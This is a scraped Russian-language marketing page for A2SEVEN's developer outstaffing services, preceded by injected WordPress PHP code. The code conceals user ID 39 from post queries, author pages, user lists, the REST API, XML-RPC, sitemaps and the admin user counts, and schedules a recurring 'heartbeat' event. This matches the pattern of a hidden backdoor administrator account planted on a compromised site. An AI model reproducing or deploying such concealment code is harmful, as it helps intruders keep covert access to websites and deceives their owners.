add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 39;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 39 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 39 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 39;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 39;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 39;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/39(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 39;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Аутстаффинг - A2SEVEN
Мы используем файлы cookie, чтобы вам было удобнее пользоваться сайтом. Пожалуйста, прочтите наши Условия конфиденциальности, чтобы узнать больше.
Я принимаю
Узнать больше
Аутстаффинг
Топ 100 аутстаф-разработчиков
Tagline
Вывод на проект до 2-ух недель
Преимущества работы с нами Когда нужен аутстаф?
– Нужна узкая экспертиза или новая технология
– Надо увеличить команду разработки, но искать и нанимать сотрудников нет времени и ресурсов
– Запуск проекта нужно ускорить
– Часть сотрудников в отпуске/ на больничном и их нужно временно заменить
– Нужно усилить команду
– Сложно быстро найти специалиста на вакансию в штат
Технологии
Backend
.NET, Node.js, Python, Golang
Frontend
Angular, React.js, Vue.js
DevOps
Grafana, Prometheus, ELK, Yandex Cloud, AWS, GSP, Azure
Аналитика
Бизнес анализ, Системный анализ
Тестирование
Devtools, Postman, PostgeSQL, Qase, CypressJS, Jmeter
UX/UI Дизайн
Figma, Adobe Photoshop, Adobe After Effects, Adobe Illustrator, Axure RP, UI-kit, CJM, User story, User flow, Components, Auto layouts
Мобильная разработка
Kotlin, Swift, React native
Менеджмент
Scrum, Kanban, Agile, Waterfall
Как мы работаем?
01 Вы отправляете заявку, технические и бизнес-требования
02 Обсуждаем детали на брифинге
03
Выбор специалиста и интервью
03 Подбираем специалиста под ваши требования, проводим техническое интервью и определяем формат отчетности
04
Вывод специалиста на проект
04 В срок до 2 недель предоставляем специалиста в ваш штат
05 Прозрачная система отчетности выполненных работ и мониторинг работы каждого специалиста
Расскажите о своей проблеме нашему Account manager
Привет, я Екатерина!
Хотите усилить свою команду? Расскажите о своих проблемах, а мы ответим на все интересующие вопросы и предложим пути решения.
Екатерина, Account manager
О нас говорят
Выражаем благодарность компании A2SEVEN. За время нашего длительного сотрудничества компания проявляет себя как добросовестный и компетентный партнер. Стоит отметить, что A2SEVEN высокопрофессионально и точно в срок выполняет свои обязательства. Наше продуктивное сотрудничество помогает улучшать и развивать наши проекты.
Мы благодарны компании A2SEVEN за ответственный подход к делу. Стоит отметить, что A2SEVEN – профессионал своего дела, а также точно в срок выполняет свои обязательства. Благодаря нашему эффективному сотрудничеству мы развиваем наши проекты и расширяем свою экспертизу в различных отраслях. За время работы с компанией мы выстроили надежное и добросовестное партнерство. Наша компания рекомендует A2SEVEN как партнера, который поможет в реализации и усовершенствовании Ваших проектов.
Мы довольны нашей совместной работой – исполнитель своевременно, качественно и добросовестно выполнял работы, соблюдал обязательства по договору. Благодаря нашей совместной работе проекты развиваются и становятся лучше для пользователей. Мы продолжаем сотрудничество с A2SEVEN и рекомендуем как партнера в развитии продукта, компетентного и ответственного.